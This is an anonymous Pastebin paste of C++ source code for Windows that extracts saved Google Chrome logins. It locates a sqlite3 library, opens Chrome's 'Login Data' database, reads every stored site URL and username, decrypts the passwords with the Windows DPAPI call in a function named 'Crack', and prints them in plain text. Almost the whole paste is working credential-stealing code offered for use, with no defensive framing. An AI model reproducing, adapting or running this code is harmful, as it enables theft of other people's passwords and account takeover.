Advertisement
Guest User

Untitled

a guest
Dec 30th, 2017
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.76 KB | None | 0 0
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <ShlObj.h>
  4. #include <io.h>
  5. using namespace std;
  6.    
  7. #pragma comment(lib,"crypt32")
  8.    
  9. //Lets see where Google Chrome application is installed
  10. char * readRegistryValue(){
  11.      LPCSTR value = "Path";
  12.      HKEY hkey = NULL;
  13.      char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
  14.    
  15.      if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS)
  16.      {
  17.          return NULL;
  18.      }
  19.      char path[MAX_PATH] = {0};
  20.      DWORD dw = 260;
  21.      RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw);
  22.      RegCloseKey(hkey);
  23.      char *ret = new char[strlen(path)+1];
  24.      strcpy(ret,path);
  25.      return ret;
  26.      //delete[]ret;
  27. }
  28.    
  29. char *Crack(BYTE *pass){
  30.     DATA_BLOB in;
  31.     DATA_BLOB out;
  32.    
  33.     BYTE trick[1024];
  34.     memcpy(trick,pass,1024);
  35.     int size = sizeof(trick) / sizeof(trick[0]);
  36.    
  37.     in.pbData = pass;
  38.     in.cbData = size+1;//we can't use strlen on a byte pointer,becouse of the NBs,so we have to be tricky dicky:)
  39.     char *str = new char[1024];
  40.    
  41.     if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){
  42.         for(int i = 0; i<out.cbData; i++)
  43.         str[i] = out.pbData[i];
  44.         str[out.cbData]='\0';
  45.    
  46.         return str;
  47.     }
  48.     else
  49.         return NULL; //Error on decryption
  50. }
  51.    
  52. //To get to Appdata\local
  53. bool getPath(char *ret,int id){
  54.     memset(ret,0,sizeof(ret));
  55.     if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,SHGFP_TYPE_CURRENT,ret)))
  56.         return true;
  57.     return false;
  58. }
  59.  
  60.  
  61. void find_file(char *dir, char *sqldll)
  62. {
  63.     char szDir[MAX_PATH]={0};
  64.     sprintf(szDir,"%s\\*.*",dir);
  65.     _finddata_t file;
  66.     long re = _findfirst(szDir,&file);
  67.     if( -1l == re )
  68.         return;
  69.     while( _findnext( re,&file ) == 0)
  70.     {
  71.         if(strcmp(file.name,".") == 0 || strcmp(file.name,"..") == 0)
  72.             continue;
  73.         if( file.attrib != _A_SUBDIR  && !strcmp(file.name, "sqlite3.dll"))
  74.         {
  75.             sprintf(sqldll,"%s\\%s",dir,file.name);
  76.             // at this time call will be stop
  77.             break;
  78.         }
  79.         else
  80.         {
  81.             char szSubDir[MAX_PATH]={0};
  82.             sprintf(szSubDir,"%s\\%s",dir,file.name);
  83.             find_file(szSubDir,sqldll);
  84.  
  85.             /*
  86.              * Speed up the return, not need to loop for find next file after get sqlite3.dll!!!
  87.              * means find first meet the requirements sqlite3.dll, we should be stop completely:)
  88.              */
  89.             if (strstr(sqldll, "sqlite"))
  90.                 break;
  91.         }
  92.     }
  93. }
  94.  
  95. //SQLITE definitions
  96. #define SQLITE_OK 0
  97. #define SQLITE_ROW 100
  98. #define SQLITE_API
  99. typedef struct sqlite3 sqlite3;
  100. typedef struct sqlite3_stmt sqlite3_stmt;
  101.  
  102. //SQLITE function pointers
  103. typedef int(SQLITE_API *fpSqliteOpen)(const char *, sqlite3 **);
  104. typedef int(SQLITE_API *fpSqlitePrepare_v2)(sqlite3 *, const char *, int, sqlite3_stmt **, const char **);
  105. typedef int(SQLITE_API *fpSqliteStep)(sqlite3_stmt *);
  106. typedef const unsigned char *(SQLITE_API *fpSqliteColumnText)(sqlite3_stmt*, int);
  107. typedef int(SQLITE_API *fpSqliteFinalize)(sqlite3_stmt *);
  108. typedef int(SQLITE_API *fpSqliteClose)(sqlite3 *);
  109. typedef char *(SQLITE_API *fpsqlite3_errmsg)(sqlite3 *);
  110.  
  111. fpSqliteOpen sqlite3_open;
  112. fpSqlitePrepare_v2 sqlite3_prepare_v2;
  113. fpSqliteStep sqlite3_step;
  114. fpSqliteColumnText sqlite3_column_text;
  115. fpSqliteFinalize sqlite3_finalize;
  116. fpSqliteClose sqlite3_close;
  117. fpsqlite3_errmsg sqlite3_errmsg;
  118.  
  119. void main(){
  120.     //Load sqlite.dll
  121.     // searching have been installed sqlite3.dll with other software that depend on sqlite.
  122.     char szCurrentPath[MAX_PATH] = {0};
  123.     char szProgrameFiles[MAX_PATH] = {0};
  124.  
  125.     GetEnvironmentVariable("ProgramFiles", szProgrameFiles, MAX_PATH);  
  126.     find_file(getenv("ProgramFiles"), szCurrentPath);
  127.     HMODULE sqliteLib = NULL;
  128.     if ( szCurrentPath ) {
  129.         printf("[+] use %s to import need functions\n", szCurrentPath);
  130.         sqliteLib = LoadLibrary(szCurrentPath);
  131.     }
  132.     else
  133.         sqliteLib = LoadLibrary("sqlite3.dll");
  134.  
  135.     if (sqliteLib){
  136.         //Lets find the functions in the dll
  137.         sqlite3_open = (fpSqliteOpen)GetProcAddress(sqliteLib,"sqlite3_open");
  138.         sqlite3_prepare_v2 = (fpSqlitePrepare_v2)GetProcAddress(sqliteLib,"sqlite3_prepare_v2");
  139.         sqlite3_step = (fpSqliteStep)GetProcAddress(sqliteLib,"sqlite3_step");
  140.         sqlite3_column_text = (fpSqliteColumnText)GetProcAddress(sqliteLib,"sqlite3_column_text");
  141.         sqlite3_finalize = (fpSqliteFinalize)GetProcAddress(sqliteLib,"sqlite3_finalize");
  142.         sqlite3_close = (fpSqliteClose)GetProcAddress(sqliteLib,"sqlite3_close");
  143.         sqlite3_errmsg = (fpsqlite3_errmsg)GetProcAddress(sqliteLib, "sqlite3_errmsg");
  144.         char *installPath = readRegistryValue();
  145.         if (installPath != NULL){
  146.             printf("[+] Installed in: %s\n",installPath);
  147.             //Now we have to call same sqlite functions to start decrypting this shit:)
  148.             sqlite3_stmt *stmt;
  149.             sqlite3 *db;
  150.    
  151.             char databasePath[260];
  152.             getPath(databasePath,0x1C);
  153.             strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data");
  154.  
  155.             char *query = "SELECT origin_url, username_value, password_value FROM logins";
  156.             //Open the database
  157.             if ( sqlite3_open(databasePath, &db) == SQLITE_OK) {
  158.                 if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) {
  159.                     //Lets begin reading data
  160.                     while (sqlite3_step(stmt) == SQLITE_ROW) {
  161.                         //While we still have data in database
  162.                         char *url = (char *)sqlite3_column_text(stmt,0);
  163.                         char *username = (char *)sqlite3_column_text(stmt,1);
  164.                         BYTE *password = (BYTE *)sqlite3_column_text(stmt,2); //This is the only encrypted field
  165.                         printf("Url: %s\n",url);
  166.                         printf("Username: %s\n",username);
  167.  
  168.                         char *decrypted = Crack(password);
  169.                         printf("Password: %s\n",decrypted);
  170.                         delete[] decrypted;
  171.                     }
  172.                 }
  173.                 else {
  174.                     printf("Error preparing database: %s\n", sqlite3_errmsg(db));
  175.                 }
  176.                 sqlite3_finalize(stmt);
  177.                 sqlite3_close(db);
  178.             }
  179.             else
  180.                 printf("Error opening database: %s\n", sqlite3_errmsg(db));
  181.         }
  182.         else
  183.             printf("Google Chrome is not installed!\n");
  184.         delete[]installPath;
  185.         FreeLibrary(sqliteLib);
  186.     }
  187.     else
  188.         printf("Necessary sqlite dll not found!\n");
  189.     cin.get();
  190. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement